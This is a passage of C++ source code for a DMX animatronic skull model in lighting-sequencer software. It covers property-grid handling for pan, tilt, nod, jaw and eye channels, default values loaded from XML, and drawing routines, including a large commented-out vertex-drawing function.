p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye LR Channel", "DmxEyeLRChannel", eye_lr_channel)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 512); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye LR Min Limit", "DmxEyeLRMinLimit", eye_lr_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye LR Max Limit", "DmxEyeLRMaxLimit", eye_lr_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye Brightness Channel", "DmxEyeBrtChannel", eye_brightness_channel)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 512); p->SetEditor("SpinCtrl"); AddColorTypeProperties(grid); } int DmxSkulltronix::OnPropertyGridChange(wxPropertyGridInterface* grid, wxPropertyGridEvent& event) { if (OnColorPropertyGridChange(grid, event, ModelXml, this) == 0) { return 0; } if (OnPanTiltPropertyGridChange(grid, event, ModelXml, this) == 0) { return 0; } if ("DmxPanMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxPanMinLimit"); ModelXml->AddAttribute("DmxPanMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXPanMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXPanMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXPanMinLimit"); return 0; } else if ("DmxPanMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxPanMaxLimit"); ModelXml->AddAttribute("DmxPanMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXPanMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXPanMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXPanMaxLimit"); return 0; } else if ("DmxTiltMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxTiltMinLimit"); ModelXml->AddAttribute("DmxTiltMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMinLimit"); return 0; } else if ("DmxTiltMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxTiltMaxLimit"); ModelXml->AddAttribute("DmxTiltMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMaxLimit"); return 0; } else if ("DmxNodChannel" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxNodChannel"); ModelXml->AddAttribute("DmxNodChannel", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXNodChannel"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXNodChannel"); AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::OnPropertyGridChange::DMXNodChannel"); return 0; } else if ("DmxNodOrient" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxNodOrient"); ModelXml->AddAttribute("DmxNodOrient", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXNodOrient"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXNodOrient"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXNodOrient"); return 0; } else if ("DmxNodDegOfRot" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxNodDegOfRot"); ModelXml->AddAttribute("DmxNodDegOfRot", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXNodDegOfRot"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXNodDegOfRot"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXNodDegOfRot"); return 0; } else if ("DmxNodMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxNodMinLimit"); ModelXml->AddAttribute("DmxNodMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXNodMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXNodMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXNodMinLimit"); return 0; } else if ("DmxNodMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxNodMaxLimit"); ModelXml->AddAttribute("DmxNodMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXNodMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXNodMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXNodMaxLimit"); return 0; } else if ("DmxJawChannel" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxJawChannel"); ModelXml->AddAttribute("DmxJawChannel", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXJawChannel"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXJawChannel"); AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::OnPropertyGridChange::DMXJawChannel"); return 0; } else if ("DmxJawMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxJawMinLimit"); ModelXml->AddAttribute("DmxJawMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXJawMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXJawMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXJawMinLimit"); return 0; } else if ("DmxJawMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxJawMaxLimit"); ModelXml->AddAttribute("DmxJawMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXJawMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXJawMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXJawMaxLimit"); return 0; } else if ("DmxEyeBrtChannel" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeBrtChannel"); ModelXml->AddAttribute("DmxEyeBrtChannel", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeBrtChannel"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeBrtChannel"); AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::OnPropertyGridChange::DMXEyeBrtChannel"); return 0; } else if ("DmxEyeUDChannel" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeUDChannel"); ModelXml->AddAttribute("DmxEyeUDChannel", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDChannel"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDChannel"); AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDChannel"); return 0; } else if ("DmxEyeUDMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeUDMinLimit"); ModelXml->AddAttribute("DmxEyeUDMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMinLimit"); return 0; } else if ("DmxEyeUDMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeUDMaxLimit"); ModelXml->AddAttribute("DmxEyeUDMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMaxLimit"); return 0; } else if ("DmxEyeLRChannel" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeLRChannel"); ModelXml->AddAttribute("DmxEyeLRChannel", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRChannel"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRChannel"); AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRChannel"); return 0; } else if ("DmxEyeLRMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeLRMinLimit"); ModelXml->AddAttribute("DmxEyeLRMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMinLimit"); return 0; } else if ("DmxEyeLRMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeLRMaxLimit"); ModelXml->AddAttribute("DmxEyeLRMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMaxLimit"); return 0; } return DmxModel::OnPropertyGridChange(grid, event); } void DmxSkulltronix::InitModel() { DmxModel::InitModel(); DisplayAs = "DmxSkulltronix"; screenLocation.SetRenderSize(1, 1); pan_channel = wxAtoi(ModelXml->GetAttribute("DmxPanChannel", "13")); pan_orient = wxAtoi(ModelXml->GetAttribute("DmxPanOrient", "90")); pan_deg_of_rot = wxAtoi(ModelXml->GetAttribute("DmxPanDegOfRot", "180")); pan_slew_limit = wxAtof(ModelXml->GetAttribute("DmxPanSlewLimit", "0")); tilt_channel = wxAtoi(ModelXml->GetAttribute("DmxTiltChannel", "19")); tilt_orient = wxAtoi(ModelXml->GetAttribute("DmxTiltOrient", "315")); tilt_deg_of_rot = wxAtoi(ModelXml->GetAttribute("DmxTiltDegOfRot", "90")); tilt_slew_limit = wxAtof(ModelXml->GetAttribute("DmxTiltSlewLimit", "0")); red_channel = wxAtoi(ModelXml->GetAttribute("DmxRedChannel", "24")); green_channel = wxAtoi(ModelXml->GetAttribute("DmxGreenChannel", "25")); blue_channel = wxAtoi(ModelXml->GetAttribute("DmxBlueChannel", "26")); white_channel = wxAtoi(ModelXml->GetAttribute("DmxWhiteChannel", "0")); tilt_min_limit = wxAtoi(ModelXml->GetAttribute("DmxTiltMinLimit", "442")); tilt_max_limit = wxAtoi(ModelXml->GetAttribute("DmxTiltMaxLimit", "836")); pan_min_limit = wxAtoi(ModelXml->GetAttribute("DmxPanMinLimit", "250")); pan_max_limit = wxAtoi(ModelXml->GetAttribute("DmxPanMaxLimit", "1250")); nod_channel = wxAtoi(ModelXml->GetAttribute("DmxNodChannel", "11")); nod_orient = wxAtoi(ModelXml->GetAttribute("DmxNodOrient", "331")); nod_deg_of_rot = wxAtoi(ModelXml->GetAttribute("DmxNodDegOfRot", "58")); nod_min_limit = wxAtoi(ModelXml->GetAttribute("DmxNodMinLimit", "452")); nod_max_limit = wxAtoi(ModelXml->GetAttribute("DmxNodMaxLimit", "745")); jaw_channel = wxAtoi(ModelXml->GetAttribute("DmxJawChannel", "9")); jaw_min_limit = wxAtoi(ModelXml->GetAttribute("DmxJawMinLimit", "500")); jaw_max_limit = wxAtoi(ModelXml->GetAttribute("DmxJawMaxLimit", "750")); eye_brightness_channel = wxAtoi(ModelXml->GetAttribute("DmxEyeBrtChannel", "23")); eye_ud_channel = wxAtoi(ModelXml->GetAttribute("DmxEyeUDChannel", "15")); eye_ud_min_limit = wxAtoi(ModelXml->GetAttribute("DmxEyeUDMinLimit", "575")); eye_ud_max_limit = wxAtoi(ModelXml->GetAttribute("DmxEyeUDMaxLimit", "1000")); eye_lr_channel = wxAtoi(ModelXml->GetAttribute("DmxEyeLRChannel", "17")); eye_lr_min_limit = wxAtoi(ModelXml->GetAttribute("DmxEyeLRMinLimit", "499")); eye_lr_max_limit = wxAtoi(ModelXml->GetAttribute("DmxEyeLRMaxLimit", "878")); SetNodeNames(",,,,,,,Power,Jaw,-Jaw Fine,Nod,-Nod Fine,Pan,-Pan Fine,Eye UD,-Eye UD Fine,Eye LR,-Eye LR Fine,Tilt,-Tilt Fine,-Torso,-Torso Fine,Eye Brightness,Eye Red,Eye Green,Eye Blue"); } void DmxSkulltronix::DisplayModelOnWindow(ModelPreview* preview, xlGraphicsContext* ctx, xlGraphicsProgram* sprogram, xlGraphicsProgram* tprogram, bool is_3d, const xlColor* c, bool allowSelected, bool wiring, bool highlightFirst, int highlightpixel, float* boundingBox) { if (!IsActive()) return; screenLocation.PrepareToDraw(is_3d, allowSelected); screenLocation.UpdateBoundingBox(Nodes); sprogram->addStep([=](xlGraphicsContext* ctx) { ctx->PushMatrix(); if (!is_3d) { //not 3d, flatten to the 0 plane ctx->Scale(1.0, 1.0, 0.0); } GetModelScreenLocation().ApplyModelViewMatrices(ctx); }); tprogram->addStep([=](xlGraphicsContext* ctx) { ctx->PushMatrix(); if (!is_3d) { //not 3d, flatten to the 0 plane ctx->Scale(1.0, 1.0, 0.0); } GetModelScreenLocation().ApplyModelViewMatrices(ctx); }); DrawModel(preview, ctx, sprogram, tprogram, is_3d, !allowSelected, c); sprogram->addStep([=](xlGraphicsContext* ctx) { ctx->PopMatrix(); }); tprogram->addStep([=](xlGraphicsContext* ctx) { ctx->PopMatrix(); }); if ((Selected || (Highlighted && is_3d)) && c != nullptr && allowSelected) { if (is_3d) { GetModelScreenLocation().DrawHandles(tprogram, preview->GetCameraZoomForHandles(), preview->GetHandleScale(), Highlighted); } else { GetModelScreenLocation().DrawHandles(tprogram, preview->GetCameraZoomForHandles(), preview->GetHandleScale()); } } } void DmxSkulltronix::DisplayEffectOnWindow(ModelPreview* preview, double pointSize) { if (!IsActive() && preview->IsNoCurrentModel()) { return; } bool mustEnd = false; xlGraphicsContext* ctx = preview->getCurrentGraphicsContext(); if (ctx == nullptr) { bool success = preview->StartDrawing(pointSize); if (success) { ctx = preview->getCurrentGraphicsContext(); mustEnd = true; } } if (ctx) { int w, h; preview->GetSize(&w, &h); float scaleX = float(w) * 0.95 / GetModelScreenLocation().RenderWi; float scaleY = float(h) * 0.95 / GetModelScreenLocation().RenderHt; float aspect = screenLocation.GetScaleX(); aspect /= screenLocation.GetScaleY(); if (scaleY < scaleX) { scaleX = scaleY * aspect; } else { scaleY = scaleX / aspect; } float ml, mb; GetMinScreenXY(ml, mb); ml += GetModelScreenLocation().RenderWi / 2; mb += GetModelScreenLocation().RenderHt / 2; preview->getCurrentTransparentProgram()->addStep([=](xlGraphicsContext* ctx) { ctx->PushMatrix(); ctx->Translate(w / 2.0f - (ml < 0.0f ? ml : 0.0f), h / 2.0f - (mb < 0.0f ? mb : 0.0f), 0.0f); ctx->Scale(scaleX, scaleY, 1.0); }); DrawModel(preview, ctx, preview->getCurrentSolidProgram(), preview->getCurrentTransparentProgram(), false, false, nullptr); preview->getCurrentTransparentProgram()->addStep([=](xlGraphicsContext* ctx) { ctx->PopMatrix(); }); } if (mustEnd) { preview->EndDrawing(); } } void DmxSkulltronix::DrawModel(ModelPreview* preview, xlGraphicsContext* ctx, xlGraphicsProgram* sprogram, xlGraphicsProgram* tprogram, bool is3d, bool active, const xlColor* c) { } /* void DmxSkulltronix::DrawModelOnWindow(ModelPreview* preview, DrawGLUtils::xlAccumulator &va, const xlColor *c, float &sx, float &sy, bool active) { if (!IsActive()) return; float pan_angle, pan_angle_raw, tilt_angle, nod_angle, jaw_pos, eye_x, eye_y; float jaw_range_of_motion = -4.0f; float eye_range_of_motion = 3.8f; int channel_value; size_t NodeCount=Nodes.size(); bool beam_off = false; if( pan_channel > NodeCount || tilt_channel > NodeCount || red_channel > NodeCount || green_channel > NodeCount || blue_channel > NodeCount ) { return; } xlColor ccolor(xlWHITE); xlColor pnt_color(xlRED); xlColor eye_color(xlWHITE); xlColor marker_color(xlBLACK); xlColor black(xlBLACK); xlColor base_color(200, 200, 200); xlColor base_color2(150, 150, 150); xlColor color; if (c != nullptr) { color = *c; } int dmx_size = ((BoxedScreenLocation)screenLocation).GetScaleX(); float radius = (float)(dmx_size) / 2.0f; xlColor color_angle; int trans = color == xlBLACK ? blackTransparency : transparency; if( red_channel > 0 && green_channel > 0 && blue_channel > 0 ) { xlColor proxy; Nodes[red_channel-1]->GetColor(proxy); eye_color.red = proxy.red; Nodes[green_channel-1]->GetColor(proxy); eye_color.green = proxy.red; Nodes[blue_channel-1]->GetColor(proxy); eye_color.blue = proxy.red; } if( (eye_color.red == 0 && eye_color.green == 0 && eye_color.blue == 0) || !active ) { eye_color = xlWHITE; beam_off = true; } else { ApplyTransparency(eye_color, trans, trans); marker_color = eye_color; } ApplyTransparency(ccolor, trans, trans); ApplyTransparency(base_color, trans, trans); ApplyTransparency(base_color2, trans, trans); ApplyTransparency(pnt_color, trans, trans); if( pan_channel > 0 ) { channel_value = GetChannelValue(pan_channel-1, true); pan_angle = ((channel_value - pan_min_limit) / (double)(pan_max_limit - pan_min_limit)) * pan_deg_of_rot + pan_orient; } else { pan_angle = 0.0f; } pan_angle_raw = pan_angle; if( tilt_channel > 0 ) { channel_value = GetChannelValue(tilt_channel-1, true); tilt_angle = (1.0 - ((channel_value - tilt_min_limit) / (double)(tilt_max_limit - tilt_min_limit))) * tilt_deg_of_rot + tilt_orient; } else { tilt_angle = 0.0f; } if( nod_channel > 0 ) { channel_value = GetChannelValue(nod_channel-1, true); nod_angle = (1.0 - ((channel_value - nod_min_limit) / (double)(nod_max_limit - nod_min_limit))) * nod_deg_of_rot + nod_orient; } else { nod_angle = 0.0f; } if( jaw_channel > 0 ) { channel_value = GetChannelValue(jaw_channel-1, true); jaw_pos = ((channel_value - jaw_min_limit) / (double)(jaw_max_limit - jaw_min_limit)) * jaw_range_of_motion - 0.5f; } else { jaw_pos = -0.5f; } if( eye_lr_channel > 0 ) { channel_value = GetChannelValue(eye_lr_channel-1, true); eye_x = (1.0 - ((channel_value - eye_lr_min_limit) / (double)(eye_lr_max_limit - eye_lr_min_limit))) * eye_range_of_motion - eye_range_of_motion/2.0; } else { eye_x = 0.0f; } if( eye_ud_channel > 0 ) { channel_value = GetChannelValue(eye_ud_channel-1, true); eye_y = ((channel_value - eye_ud_min_limit) / (double)(eye_ud_max_limit - eye_ud_min_limit)) * eye_range_of_motion - eye_range_of_motion/2.0; } else { eye_y = 0.0f; } if( !active ) { pan_angle = 0.5f * 180 + 90; tilt_angle = 0.5f * 90 + 315; nod_angle = 0.5f * 58 + 331; jaw_pos = -0.5f; eye_x = 0.5f * eye_range_of_motion - eye_range_of_motion/2.0; eye_y = 0.5f * eye_range_of_motion - eye_range_of_motion/2.0; } float sf = 12.0f; float scale = radius / sf; // Create Head dmxPoint3 p1(-7.5f, 13.7f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p2(7.5f, 13.7f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p3(13.2f, 6.0f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p8(-13.2f, 6.0f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p4(9, -11.4f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p7(-9, -11.4f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p5(6.3f, -16, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p6(-6.3f, -16, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p9(0, 3.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p10(-2.5f, -1.7f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p11(2.5f, -1.7f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p14(0, -6.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p12(-6, -6.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p16(6, -6.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p13(-3, -11.4f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p15(3, -11.4f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); // Create Back of Head dmxPoint3 p1b(-7.5f, 13.7f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p2b(7.5f, 13.7f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p3b(13.2f, 6.0f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p8b(-13.2f, 6.0f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p4b(9, -11.4f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p7b(-9, -11.4f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p5b(6.3f, -16, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p6b(-6.3f, -16, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); // Create Lower Mouth dmxPoint3 p4m(9, -11.4f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p7m(-9, -11.4f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p5m(6.3f, -16+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p6m(-6.3f, -16+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p14m(0, -6.5f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p12m(-6, -6.5f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p16m(6, -6.5f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p13m(-3, -11.4f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p15m(3, -11.4f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); // Create Eyes dmxPoint3 left_eye_socket(-5, 7.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 right_eye_socket(5, 7.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 left_eye(-5+eye_x, 7.5f+eye_y, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 right_eye(5+eye_x, 7.5f+eye_y, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); // Draw Back of Head va.AddVertex(p1.x, p1.y, base_color2); va.AddVertex(p1b.x, p1b.y, base_color2); va.AddVertex(p2.x, p2.y, base_color2); va.AddVertex(p2b.x, p2b.y, base_color2); va.AddVertex(p1b.x, p1b.y, base_color2); va.AddVertex(p2.x, p2.y, base_color2); va.AddVertex(p2.x, p2.y, base_color); va.AddVertex(p2b.x, p2b.y, base_color); va.AddVertex(p3.x, p3.y, base_color); va.AddVertex(p3b.x, p3b.y, base_color); va.AddVertex(p2b.x, p2b.y, base_color); va.AddVertex(p3.x, p3.y, base_color); va.AddVertex(p3.x, p3.y, base_color2); va.AddVertex(p3b.x, p3b.y, base_color2); va.AddVertex(p4.x, p4.y, base_color2); va.AddVertex(p4b.x, p4b.y, base_color2); va.AddVertex(p3b.x, p3b.y, base_color2); va.AddVertex(p4.x, p4.y, base_color2); va.AddVertex(p4.x, p4.y, base_color); va.AddVertex(p4b.x, p4b.y, base_color); va.AddVertex(p5.x, p5.y, base_color); va.AddVertex(p5b.x, p5b.y, base_color); va.AddVertex(p4b.x, p4b.y, base_color); va.AddVertex(p5.x, p5.y, base_color); va.AddVertex(p5.x, p5.y, base_color2); va.AddVertex(p5b.x, p5b.y, base_color2); va.AddVertex(p6.x, p6.y, base_color2); va.AddVertex(p6b.x, p6b.y, base_color2); va.AddVertex(p5b.x, p5b.y, base_color2); va.AddVertex(p6.x, p6.y, base_color2); va.AddVertex(p6.x, p6.y, base_color); va.AddVertex(p6b.x, p6b.y, base_color); va.AddVertex(p7.x, p7.y, base_color); va.AddVertex(p7b.x, p7b.y, base_color); va.AddVertex(p6b.x, p6b.y, base_color); va.AddVertex(p7.x, p7.y, base_color); va.AddVertex(p7.x, p7.y, base_color2); va.AddVertex(p7b.x, p7b.y, base_color2); va.AddVertex(p8.x, p8.y, base_color2); va.AddVertex(p8b.x, p8b.y, base_color2); va.AddVertex(p7b.x, p7b.y, base_color2); va.AddVertex(p8.x, p8.y, base_color2); va.AddVertex(p8.x, p8.y, base_color); va.AddVertex(p8b.x, p8b.y, 